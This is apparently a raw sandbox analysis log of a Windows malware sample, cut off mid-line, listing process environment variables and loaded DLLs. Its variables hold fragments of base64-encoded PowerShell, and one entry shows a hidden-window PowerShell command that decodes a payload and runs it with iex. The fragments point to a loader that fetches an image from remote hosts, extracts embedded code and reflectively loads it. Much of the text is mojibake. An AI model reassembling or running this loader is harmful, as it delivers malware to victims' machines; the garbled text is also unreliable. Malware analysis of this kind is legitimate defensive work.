Φ┤¥σƒâΘÑ┐σ░öσ╛╖σ╛╖Φë▓Φ▒åσƒâσƒâ="CAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAPQAnAFIAZQBnAEEAcwBtACcAOwANAAoAIAAgACAA", σƒâσ╛╖τê▒τ╗┤ΦÇ╗ΘÑ┐σƒâΦë▓Φ┤¥σ╛╖="BkADMAMwBhADIANgBlAGEAZgA3ADIAMwBiADMAMgAyADEAYQBjAHUALwAvADoAcwAnACwAIAAnAD", Φ▒åΦë▓Φ▒åτ╗┤σ╛╖Θÿ┐σàïΘÿ┐τê▒Φ┤¥="0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQA", Φë╛µû»Φ┤¥σƒâΦë╛Φ▒åσ╛╖τê▒σ╛╖τê▒="AGEARwBTAGwAZwBVAF8AZwBPAFUAeQA2ADEARgA3AGsASQBiAEEAOQBGAEgARABUAHUANgBk", Φë╛ΦÇ╗Φ▒åΘÿ┐Φ┤¥τ╗┤σ░öσƒâσàïΦÇ╗="IAJwAsACAAJwBTAHQAYQByAHQAdQBwAE4AYQBtAGUAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAn", Φë▓σàïΦ▒åσƒâΘÿ┐Φ▒åτ╗┤σ╛╖τê▒σ╛╖="AB7ACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAbABpAG", Φ▒åΘÑ┐Φ┤¥ΦÇ╗σ╛╖Φ┤¥ΘÑ┐Φ┤¥Φ▒åΦ▒å="B1AGwAbAAgAH0AOwAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwA", Φ┤¥Φ┤¥σ░öσàïτ╗┤σàïτ╗┤Φë▓Φë╛σàï="QBkAEQAYQB0AGEARgByAG8AbQBMAGkAbgBd@AHMAIAAkAGwAaQBuAGsAcwA7AA0ACgAgA", τê▒Φ┤¥τê▒Φë╛ΘÑ┐Φë╛Φ┤¥Φ┤¥σ░öσƒâ="awBzACAAPQAgAEAAKAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAYgBiAHIA", Φë▓µû»σ░öτ╗┤σƒâσ╛╖ΘÑ┐Φ┤¥σàïσ╛╖="ntList '-Command \"$ddsdgo = ''WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABv", Φ┤¥Φ┤¥Φ▒åΦ┤¥µû»ΘÑ┐σ░öΘÑ┐Φ┤¥ΦÇ╗="GUAcwApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZ", Φë▓σàïΦÇ╗σ░öτê▒ΘÑ┐σƒâσàïΦë╛σ░ö="iAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAb", σ░öΦ┤¥µû»Φ▒åσ╛╖Φ▒åΘÿ┐Φ┤¥τ╗┤Φë╛="JABCAHkAdABlAHMAMgAgAD0AIAAnAHAAcwA6AC8ALwAnADsADQAKACAAIAAg", Φë▓Φë╛ΦÇ╗Φ┤¥σàïΦÇ╗µû»Φ┤¥µû»µû»="AAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuA", σ╛╖µû»σ╛╖σ░öτ╗┤σƒâΦÇ╗ΦÇ╗Θÿ┐Θÿ┐="OgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0A", Φ▒åΦë▓τê▒Φ┤¥µû»Φë╛ΘÑ┐τê▒Φ▒åΦÇ╗="BuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AA0ACgAgACAAIAAgACAA", τê▒σƒâΦ┤¥Θÿ┐ΘÑ┐µû»Φë▓Φ▒åσàïτ╗┤="BvAC8AQwA1AHkANwBwADUAawBkAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANw", ΘÑ┐σƒâσ░öσàïΘÿ┐σ╛╖τê▒σ╛╖τê▒ΦÇ╗="eQB0AGUAcwAyADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbABpAG4A", ΦÇ╗σ░öΦë▓Φ┤¥σƒâΦ┤¥Φ┤¥σ╛╖σƒâσ╛╖="BuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIA", Θÿ┐τê▒ΦÇ╗σƒâσàïΦ┤¥σàïΘÿ┐µû»ΘÑ┐="IABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBd", Φ┤¥Φ▒åσ╛╖Φ┤¥τ╗┤τê▒σ╛╖ΦÇ╗Φë╛ΦÇ╗="wApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGU", ΦÇ╗σƒâσƒâµû»Φë▓σ╛╖Φë╛τê▒Φë▓τ╗┤="wBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA", σ░öσ╛╖Θÿ┐σ╛╖σàïτê▒τ╗┤Φ┤¥µû»ΘÑ┐="kALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AX", σ░öσ░öΦ┤¥Φ┤¥Φë▓σ╛╖Φë▓Φ▒åΦ┤¥τê▒="wAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAG", ΦÇ╗σàïµû»Φë▓ΦÇ╗τ╗┤σàïΘÿ┐Φ▒åσàï="AdwBPAGwASwBMAHoAMQBzAHQAbgBd@AGgAXwB0ADkAYQA5AEYAXwBMAEYAQwBmADMARgBJAGYA", σ░öµû»Φë╛Φë▓τ╗┤σ╛╖Φ▒åΘÑ┐µû»Φ┤¥="G0AOQBfAHgAbwB2AGYANgBtAHkAOABDAEoAWABZAG4AUQBsAFoAdABwAFQAT", σ░öΦ┤¥Φë╛σàïΘÑ┐Φ┤¥Φ┤¥Φë╛Θÿ┐Φë▓="AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAADQAKACAAIAAgACAAIAAgAC", Φë╛σƒâΘÿ┐τê▒τê▒Φ┤¥σ░öσ░öΦ┤¥σƒâ="FQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwANAAoAIAAg", σ╛╖Φ▒åµû»σàïσ░öΦ┤¥Φë╛Θÿ┐Φ▒åΘÑ┐="CAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABpAG0AYQBnAGUAQgB5AHQAZQ", USERDNSDOMAIN="DESKTOP-8LD9T6N", Θÿ┐ΦÇ╗Θÿ┐Θÿ┐Θÿ┐σ╛╖Φë╛Φë▓Φ┤¥Φ▒å="ABsAHMATQB1AEMAQQAvAGcAaQByAG8ALwBwAC8AbQBvAGMALgB0AG4AZQB0AG4AbwBjAHIAZQBzAHU", σàïτê▒Φ┤¥Φ┤¥τê▒Θÿ┐ΦÇ╗τê▒σàïΦë╛="gAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbA", ΘÑ┐τê▒Φë▓µû»σàïΦë▓ΦÇ╗Φ┤¥Φë▓σàï="pAGMALwBuAGEAbgBvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0", Φ┤¥ΘÑ┐Φë╛σ░öσ░öΦë╛τê▒Φ▒åΦ▒åτ╗┤="ADMAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAaQAuAGkAYgBiAC4AYw", Φ▒åσƒâΦ┤¥τ╗┤Φ┤¥τ╗┤µû»σƒâτê▒τ╗┤="gAegBoAG0AeQBaAE4ALQBGAGoAQgA3AGMAdwBHAHcASAB2ADQASgBWAGkAbQBK", σ╛╖Φ┤¥ΦÇ╗Φ┤¥Φ▒åΦ▒åΦ▒åΦ▒åΦ▒åΦë╛="ACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIA", ΦÇ╗ΦÇ╗Φë╛σƒâσƒâΦë▓ΦÇ╗σàïΦ┤¥Φë▓="wA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAIAANAAoAIAAgACAAIAAgACAA", Φ▒åσƒâµû»σ╛╖σ╛╖τê▒Φ┤¥Φë▓τ╗┤µû»="BpAGUAbgB0ADsAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGgAdQBmAGYAbABlA", σ╛╖Φ┤¥σ╛╖τê▒Φë▓µû»σàïΦÇ╗ΘÑ┐Φë╛="ZQBhAGMAaAAgACgAJABsAGkAbgBd@ACAAaQBuACAAJABzAGgAdQBmAGYAbABlAGQATABpAG4Aaw", ΦÇ╗Φë╛µû»Φë▓σàïσ░öΦ┤¥µû»τ╗┤τ╗┤="AdAAtAE8AYgBqAGUAYwB0ACAAQwBQAFUAIAAtAEQAZQBzAGMAZQBuAGQAaQBuAGcAIAB", σàïσàïΦë╛σƒâΦ▒åΘÿ┐Φë╛σ░öµû»σ░ö="wAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAbg", τê▒Θÿ┐Φë╛Φ┤¥τ╗┤τ╗┤Φë╛Φ┤¥Θÿ┐σ░ö="CQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4", Φ┤¥Φ┤¥Φë╛Φ┤¥ΦÇ╗τê▒µû»ΘÑ┐Φë╛Φ▒å="AEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtA", τê▒ΘÑ┐Θÿ┐σàïΦ┤¥Φ┤¥τ╗┤σ╛╖σ░öσàï="AAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkA", σàïµû»Θÿ┐ΦÇ╗Φ┤¥Φ▒åΦÇ╗σàïΘÿ┐ΘÑ┐="d@'',''r'')));iex $OWjuxD\"'"" µû»τê▒ΦÇ╗Θÿ┐τê▒Φë▓τê▒ΦÇ╗Φ┤¥Φë╛="IAAgACAAIAAgACAAIAAgACAAJABtAGUAdABoAG8AZAAgAD0AIAAkAHQAeQBwAGU" Φ┤¥τ╗┤τê▒Φë╛µû»Φë╛σ╛╖µû»Φ┤¥τê▒="AxADEAMwA0ADMAJwApACkAOwAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAA" ΘÑ┐τ╗┤ΦÇ╗Φë╛µû»τ╗┤σ╛╖τ╗┤ΦÇ╗τê▒="BzACkAIAB7ACAAdAByAHkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAHcAZQBiAEM" µû»Φ▒åσ╛╖Φ▒åΦ┤¥ΦÇ╗τ╗┤Φ┤¥Φë╛ΦÇ╗="MABXAHEANgBFAFkAWQB4AEoAVwBvAGkAaABZAFkAWQB5AGMAOQBUAHMAUABGAFYAOQAwAGkATQBa" τê▒Φ┤¥τê▒τê▒ΦÇ╗Φ┤¥ΘÑ┐Φ┤¥σ╛╖µû»="ACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC" Φ▒åΦ▒åΦÇ╗τ╗┤σ░öΦ┤¥µû»Φë╛ΘÑ┐σƒâ="ABUAHkAcABlAF0AOgA6AFQAbABzADEAMgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgB1" Φ┤¥Φ▒åµû»τê▒σ╛╖Φë╛ΦÇ╗Θÿ┐Φ┤¥Φë╛="icode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''" Θÿ┐µû»Φ┤¥ΦÇ╗σàïτ╗┤ΦÇ╗ΘÑ┐Θÿ┐σ░ö="ZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgAC" Φ▒åσƒâσƒâΦ┤¥ΘÑ┐σƒâσ░öΘÑ┐ΦÇ╗Φë▓="gAD0AIAAnAGgAdAB0ACcAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAA" Φ▒åτê▒Φë╛τê▒σ░öσ╛╖σ╛╖Φ▒åτ╗┤ΦÇ╗="ACAALAAgACcAeAA4ADYAJwApACkAfQB9AA=='';$oWjuxd = [system.Text.encoding]::Un" Φ▒åΘÑ┐ΦÇ╗τ╗┤Φë╛Φ┤¥Φ▒åΦ▒åΘÑ┐σ╛╖="QAgACgAJwB0AHgAdAAuAHAALwB3AEsAcQBkAHQATgBIAGsAOABZAHgAVgBLAEgANwBoAE0A" τ╗┤τê▒σàïΘÿ┐Φ┤¥Φë╛τê▒σàïσàïΦë╛="powershell -Command "Start-Process powershell -WindowStyle Hidden -Argume", τ╗┤Θÿ┐Φ▒åΘÿ┐σ░öΦë▓σ╛╖σ░öΦë╛Φë╛="8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARgBpAHIAcwB0ACAANQAgAHwAIABGAG", σ░öσàïΦ▒åΘÿ┐ΘÑ┐Φ▒åµû»Φë╛ΦÇ╗Φ▒å="ABEAFIAVwBwAGoAbgBDAFMAVwBEAGUATgBxAHEALQBqAF8AMgBFADAAMQBxAHk", σàïσƒâΦ▒åσƒâµû»σ╛╖ΦÇ╗Φ┤¥τê▒Φë╛="ADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsADQAKACAAIAAgA", σàïΘÑ┐τ╗┤τê▒Φ▒åΦ┤¥Φë╛Φ┤¥ΦÇ╗σ╛╖="GEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcA", Θÿ┐Φë▓σƒâΦë╛σàïτê▒Θÿ┐Φ┤¥ΦÇ╗Φ▒å="CAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0A", σ░öσ░öΦ▒åΦë╛Φ▒åΦë╛σ░öτê▒Φ┤¥Φë▓="bQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZ", µû»σ░öσàïΦ┤¥Φë╛Φ┤¥Φë╛µû»τê▒µû»="EkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AA0ACgAgACAAIAAgA", σàïσàïσ░öΦ▒åΦÇ╗ΘÑ┐Φ▒åσ╛╖Θÿ┐Θÿ┐="IAagBlAGMAdAAgACQAbABpAG4AawBzACAALQBDAG8AdQBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQ", Φë╛σàïσƒâσ░öµû»σ░öΘÑ┐Φ┤¥σ░öΘÑ┐="CAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByA", σàïσ░öµû»Φ┤¥σ╛╖Φ┤¥ΦÇ╗Θÿ┐Φë╛Φ┤¥="ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnAC", Φ┤¥Φ┤¥µû»τ╗┤Φë╛Θÿ┐Φë╛Φ┤¥σ╛╖Φ▒å="gB5AFgAQgB6AGsAVQBzAGUAUAAxAGsAcgAzAFYAVwBZAHgASABuAHUAMABFAEoAbQBTADYAYgBZAC", τê▒τ╗┤τ╗┤τ╗┤τ╗┤ΘÑ┐σ░öΦ┤¥Φ┤¥Φë╛="AeABvAGIAcABvAHIAZAAuAHMAdwBlAGkAdgBlAHIAcAAuADYAMwA3AGQAZQA4ADQAMQ", Φ┤¥Φë▓Φë▓σƒâσ░öσƒâσ░öΘÿ┐Φë╛Φ┤¥="APQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0A", Φ┤¥Φ▒åτê▒σ╛╖Φ▒åτ╗┤ΘÑ┐Φ▒åΘÑ┐Φ┤¥="IAAgACAAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAARABvAHcAbgBsAG8AY", ΦÇ╗µû»Φ┤¥Φë╛Φë╛Φ┤¥σ░öσ╛╖Θÿ┐τ╗┤="AGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQA"" Process "powershell.exe" (UID: 00000000-00001496) was launched with modified environment variables: "ProgramFiles, NUMBER_OF_PROCESSORS, PROCESSOR_ARCHITECTURE, CommonProgramFiles" Process "powershell.exe" (UID: 00000000-00001496) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "wscript.exe" (UID: 00000000-00004548) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "wscript.exe" (UID: 00000000-00004548) was launched with modified environment variables: "ProgramFiles, NUMBER_OF_PROCESSORS, PROCESSOR_ARCHITECTURE, CommonProgramFiles" Process "wscript.exe" (UID: 00000000-00004548) was launched with missing environment variables: "σ░öτê▒ΦÇ╗σƒâΘÿ┐µû»Φë╛σ░öσàïΦÇ╗, Θÿ┐Φë╛Φë▓Φ┤¥σƒâτ╗┤Φë▓Φ┤¥σƒâΦ▒å, Φ┤¥σàïΦ┤¥Φ┤¥ΦÇ╗Φ▒åτ╗┤Φë▓ΘÑ┐µû», ΘÑ┐ΦÇ╗Φ┤¥Φë╛Φ┤¥Φ┤¥τ╗┤σƒâσ░öΦÇ╗, ΘÑ┐ΦÇ╗Φ┤¥µû»Φë▓Θÿ┐Θÿ┐σ░öΦë╛σ╛╖, ΦÇ╗µû»Θÿ┐Φ┤¥τ╗┤ΦÇ╗µû»Φë╛Φ┤¥Φë╛, Θÿ┐Φë▓Φ┤¥σƒâτ╗┤Φ┤¥τ╗┤Φë╛Φ┤¥σàï, σàïτê▒τê▒τ╗┤ΘÑ┐Φë▓Φ┤¥σƒâΦ┤¥σàï, σ╛╖Φ┤¥Φë▓ΦÇ╗µû»ΘÑ┐Φ┤¥ΦÇ╗ΘÑ┐σ░ö, σ╛╖Φ▒åσ╛╖Θÿ┐Φ┤¥σ╛╖µû»Φ▒åσ░öΦë╛, ΦÇ╗Φ▒åτê▒τê▒σƒâΘÿ┐τ╗┤σàïΦÇ╗Φë▓, σƒâΦ┤¥Φ▒åΘÿ┐σàïτ╗┤ΘÑ┐τ╗┤σƒâΘÑ┐, µû»τ╗┤µû»µû»τê▒Θÿ┐Φ┤¥σ╛╖ΘÑ┐Φ┤¥, σ╛╖σàïΘÑ┐σƒâσ╛╖ΘÑ┐σ░öΦÇ╗Φ▒åΦÇ╗, Φ┤¥σàïΘÿ┐Φë▓Φ▒åσ░öσ░öΦë▓Φë╛τ╗┤, σƒâσàïΘÿ┐Φ▒åµû»Φ┤¥τ╗┤ΦÇ╗σ╛╖Θÿ┐, σƒâµû»τ╗┤Φë╛Θÿ┐σàïΘÑ┐Φ┤¥τ╗┤Φë▓, Φ▒åτê▒τê▒σ╛╖µû»Φ┤¥Φë▓µû»Φ┤¥µû», ΘÑ┐µû»Φë▓Φ┤¥Φ┤¥ΦÇ╗Φë▓ΦÇ╗τê▒σ░ö, σ░öσ╛╖Θÿ┐ΦÇ╗Φ┤¥Φë╛ΦÇ╗Φë▓Φ┤¥Φ┤¥, ΦÇ╗ΦÇ╗σ░öΦ┤¥τê▒σ░öτ╗┤σƒâΦ┤¥τê▒, Φ┤¥Φ┤¥τ╗┤σƒâΘÑ┐Φ┤¥τê▒τ╗┤µû»σàï, ΦÇ╗Θÿ┐τê▒τê▒Φë╛Φ┤¥Φ┤¥Θÿ┐Φ┤¥Φ▒å, ΦÇ╗ΦÇ╗Φ┤¥Φë╛σ╛╖µû»σ░öΘÑ┐τê▒Θÿ┐, µû»Φ▒åσƒâσ╛╖τ╗┤Φ▒åΦ▒åΦ┤¥τ╗┤µû», σ░öσ░öΦ┤¥Φ┤¥Φ┤¥Φë╛µû»Φ▒åΦ▒åΦ┤¥, σ╛╖ΦÇ╗Θÿ┐Φë╛Φ┤¥Φ┤¥Φë╛ΘÑ┐Φ┤¥τê▒, τê▒σ░öΦÇ╗τ╗┤τê▒σàïΦë╛µû»µû»Φë╛, Φë╛τê▒σ╛╖Θÿ┐Φë▓σ╛╖Φë╛τ╗┤Φë╛τê▒, Φ┤¥σƒâΘÑ┐σ░öσ╛╖σ╛╖Φë▓Φ▒åσƒâσƒâ, σƒâσ╛╖τê▒τ╗┤ΦÇ╗ΘÑ┐σƒâΦë▓Φ┤¥σ╛╖, Φ▒åΦë▓Φ▒åτ╗┤σ╛╖Θÿ┐σàïΘÿ┐τê▒Φ┤¥, Φë╛µû»Φ┤¥σƒâΦë╛Φ▒åσ╛╖τê▒σ╛╖τê▒, Φë╛ΦÇ╗Φ▒åΘÿ┐Φ┤¥τ╗┤σ░öσƒâσàïΦÇ╗, Φë▓σàïΦ▒åσƒâΘÿ┐Φ▒åτ╗┤σ╛╖τê▒σ╛╖, Φ▒åΘÑ┐Φ┤¥ΦÇ╗σ╛╖Φ┤¥ΘÑ┐Φ┤¥Φ▒åΦ▒å, Φ┤¥Φ┤¥σ░öσàïτ╗┤σàïτ╗┤Φë▓Φë╛σàï, τê▒Φ┤¥τê▒Φë╛ΘÑ┐Φë╛Φ┤¥Φ┤¥σ░öσƒâ, Φë▓µû»σ░öτ╗┤σƒâσ╛╖ΘÑ┐Φ┤¥σàïσ╛╖, Φ┤¥Φ┤¥Φ▒åΦ┤¥µû»ΘÑ┐σ░öΘÑ┐Φ┤¥ΦÇ╗, Φë▓σàïΦÇ╗σ░öτê▒ΘÑ┐σƒâσàïΦë╛σ░ö, σ░öΦ┤¥µû»Φ▒åσ╛╖Φ▒åΘÿ┐Φ┤¥τ╗┤Φë╛, Φë▓Φë╛ΦÇ╗Φ┤¥σàïΦÇ╗µû»Φ┤¥µû»µû», σ╛╖µû»σ╛╖σ░öτ╗┤σƒâΦÇ╗ΦÇ╗Θÿ┐Θÿ┐, Φ▒åΦë▓τê▒Φ┤¥µû»Φë╛ΘÑ┐τê▒Φ▒åΦÇ╗, τê▒σƒâΦ┤¥Θÿ┐ΘÑ┐µû»Φë▓Φ▒åσàïτ╗┤, ΘÑ┐σƒâσ░öσàïΘÿ┐σ╛╖τê▒σ╛╖τê▒ΦÇ╗, ΦÇ╗σ░öΦë▓Φ┤¥σƒâΦ┤¥Φ┤¥σ╛╖σƒâσ╛╖, Θÿ┐τê▒ΦÇ╗σƒâσàïΦ┤¥σàïΘÿ┐µû»ΘÑ┐, Φ┤¥Φ▒åσ╛╖Φ┤¥τ╗┤τê▒σ╛╖ΦÇ╗Φë╛ΦÇ╗, ΦÇ╗σƒâσƒâµû»Φë▓σ╛╖Φë╛τê▒Φë▓τ╗┤, σ░öσ╛╖Θÿ┐σ╛╖σàïτê▒τ╗┤Φ┤¥µû»ΘÑ┐, σ░öσ░öΦ┤¥Φ┤¥Φë▓σ╛╖Φë▓Φ▒åΦ┤¥τê▒, ΦÇ╗σàïµû»Φë▓ΦÇ╗τ╗┤σàïΘÿ┐Φ▒åσàï, σ░öµû»Φë╛Φë▓τ╗┤σ╛╖Φ▒åΘÑ┐µû»Φ┤¥, σ░öΦ┤¥Φë╛σàïΘÑ┐Φ┤¥Φ┤¥Φë╛Θÿ┐Φë▓, Φë╛σƒâΘÿ┐τê▒τê▒Φ┤¥σ░öσ░öΦ┤¥σƒâ, σ╛╖Φ▒åµû»σàïσ░öΦ┤¥Φë╛Θÿ┐Φ▒åΘÑ┐, USERDNSDOMAIN, Θÿ┐ΦÇ╗Θÿ┐Θÿ┐Θÿ┐σ╛╖Φë╛Φë▓Φ┤¥Φ▒å, σàïτê▒Φ┤¥Φ┤¥τê▒Θÿ┐ΦÇ╗τê▒σàïΦë╛, ΘÑ┐τê▒Φë▓µû»σàïΦë▓ΦÇ╗Φ┤¥Φë▓σàï, Φ┤¥ΘÑ┐Φë╛σ░öσ░öΦë╛τê▒Φ▒åΦ▒åτ╗┤, Φ▒åσƒâΦ┤¥τ╗┤Φ┤¥τ╗┤µû»σƒâτê▒τ╗┤, σ╛╖Φ┤¥ΦÇ╗Φ┤¥Φ▒åΦ▒åΦ▒åΦ▒åΦ▒åΦë╛, ΦÇ╗ΦÇ╗Φë╛σƒâσƒâΦë▓ΦÇ╗σàïΦ┤¥Φë▓, Φ▒åσƒâµû»σ╛╖σ╛╖τê▒Φ┤¥Φë▓τ╗┤µû», σ╛╖Φ┤¥σ╛╖τê▒Φë▓µû»σàïΦÇ╗ΘÑ┐Φë╛, ΦÇ╗Φë╛µû»Φë▓σàïσ░öΦ┤¥µû»τ╗┤τ╗┤, σàïσàïΦë╛σƒâΦ▒åΘÿ┐Φë╛σ░öµû»σ░ö, τê▒Θÿ┐Φë╛Φ┤¥τ╗┤τ╗┤Φë╛Φ┤¥Θÿ┐σ░ö, Φ┤¥Φ┤¥Φë╛Φ┤¥ΦÇ╗τê▒µû»ΘÑ┐Φë╛Φ▒å, τê▒ΘÑ┐Θÿ┐σàïΦ┤¥Φ┤¥τ╗┤σ╛╖σ░öσàï, σàïµû»Θÿ┐ΦÇ╗Φ┤¥Φ▒åΦÇ╗σàïΘÿ┐ΘÑ┐, µû»τê▒ΦÇ╗Θÿ┐τê▒Φë▓τê▒ΦÇ╗Φ┤¥Φë╛, Φ┤¥τ╗┤τê▒Φë╛µû»Φë╛σ╛╖µû»Φ┤¥τê▒, ΘÑ┐τ╗┤ΦÇ╗Φë╛µû»τ╗┤σ╛╖τ╗┤ΦÇ╗τê▒, µû»Φ▒åσ╛╖Φ▒åΦ┤¥ΦÇ╗τ╗┤Φ┤¥Φë╛ΦÇ╗, τê▒Φ┤¥τê▒τê▒ΦÇ╗Φ┤¥ΘÑ┐Φ┤¥σ╛╖µû», Φ▒åΦ▒åΦÇ╗τ╗┤σ░öΦ┤¥µû»Φë╛ΘÑ┐σƒâ, Φ┤¥Φ▒åµû»τê▒σ╛╖Φë╛ΦÇ╗Θÿ┐Φ┤¥Φë╛, Θÿ┐µû»Φ┤¥ΦÇ╗σàïτ╗┤ΦÇ╗ΘÑ┐Θÿ┐σ░ö, Φ▒åσƒâσƒâΦ┤¥ΘÑ┐σƒâσ░öΘÑ┐ΦÇ╗Φë▓, Φ▒åτê▒Φë╛τê▒σ░öσ╛╖σ╛╖Φ▒åτ╗┤ΦÇ╗, Φ▒åΘÑ┐ΦÇ╗τ╗┤Φë╛Φ┤¥Φ▒åΦ▒åΘÑ┐σ╛╖, τ╗┤τê▒σàïΘÿ┐Φ┤¥Φë╛τê▒σàïσàïΦë╛, τ╗┤Θÿ┐Φ▒åΘÿ┐σ░öΦë▓σ╛╖σ░öΦë╛Φë╛, σ░öσàïΦ▒åΘÿ┐ΘÑ┐Φ▒åµû»Φë╛ΦÇ╗Φ▒å, σàïσƒâΦ▒åσƒâµû»σ╛╖ΦÇ╗Φ┤¥τê▒Φë╛, σàïΘÑ┐τ╗┤τê▒Φ▒åΦ┤¥Φë╛Φ┤¥ΦÇ╗σ╛╖, Θÿ┐Φë▓σƒâΦë╛σàïτê▒Θÿ┐Φ┤¥ΦÇ╗Φ▒å, σ░öσ░öΦ▒åΦë╛Φ▒åΦë╛σ░öτê▒Φ┤¥Φë▓, µû»σ░öσàïΦ┤¥Φë╛Φ┤¥Φë╛µû»τê▒µû», σàïσàïσ░öΦ▒åΦÇ╗ΘÑ┐Φ▒åσ╛╖Θÿ┐Θÿ┐, Φë╛σàïσƒâσ░öµû»σ░öΘÑ┐Φ┤¥σ░öΘÑ┐, σàïσ░öµû»Φ┤¥σ╛╖Φ┤¥ΦÇ╗Θÿ┐Φë╛Φ┤¥, Φ┤¥Φ┤¥µû»τ╗┤Φë╛Θÿ┐Φë╛Φ┤¥σ╛╖Φ▒å, τê▒τ╗┤τ╗┤τ╗┤τ╗┤ΘÑ┐σ░öΦ┤¥Φ┤¥Φë╛, Φ┤¥Φë▓Φë▓σƒâσ░öσƒâσ░öΘÿ┐Φë╛Φ┤¥, Φ┤¥Φ▒åτê▒σ╛╖Φ▒åτ╗┤ΘÑ┐Φ▒åΘÑ┐Φ┤¥, ΦÇ╗µû»Φ┤¥Φë╛Φë╛Φ┤¥σ░öσ╛╖Θÿ┐τ╗┤"3c:Tfe7,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00001496-00000C2A-1371813814] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00001496-00000C2A-1372526281] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00001496-00000C2A-1372679498] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00001496-00000C2A-1372803045] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00001496-00000C2A-1372988974] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 